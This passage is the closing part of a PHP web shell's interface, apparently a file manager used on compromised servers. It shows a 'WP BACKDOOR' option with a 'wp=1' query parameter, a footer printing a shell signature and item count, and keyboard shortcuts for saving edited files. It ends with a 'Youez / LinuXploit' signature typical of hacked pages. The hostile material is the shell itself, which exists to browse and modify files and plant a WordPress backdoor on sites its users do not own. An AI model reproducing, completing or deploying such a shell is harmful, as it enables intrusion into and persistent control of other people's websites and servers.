                <div class="info-row"><strong>WP BACKDOOR</strong>?path=...&amp;wp=1</div>
            </div>
        </div>
    </div>
    
    <!-- FOOTER -->
    <div class="footer">
        <?php echo SHELL_SIGNATURE; ?> · <?php echo count($dirs) + count($files); ?> items · CTRL+S (SAVE) · ESC (BACK)
    </div>
</div>

<script>
    (function() {
        // Auto-hide messages
        let msgs = document.querySelectorAll('.msg');
        if (msgs.length) {
            setTimeout(() => {
                msgs.forEach(m => { m.style.opacity = '0'; setTimeout(() => m.remove(), 300); });
            }, 4500);
        }
        
        // Keyboard shortcuts
        document.addEventListener('keydown', (e) => {
            if (e.ctrlKey && e.key === 's' && document.querySelector('textarea')) {
                e.preventDefault();
                let btn = document.querySelector('.editor-footer .btn');
                if (btn) btn.click();
            }
            if (e.key === 'Escape') {
                let back = document.querySelector('.editor-header .btn');
                if (back) window.location.href = back.href;
            }
        });
    })();
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit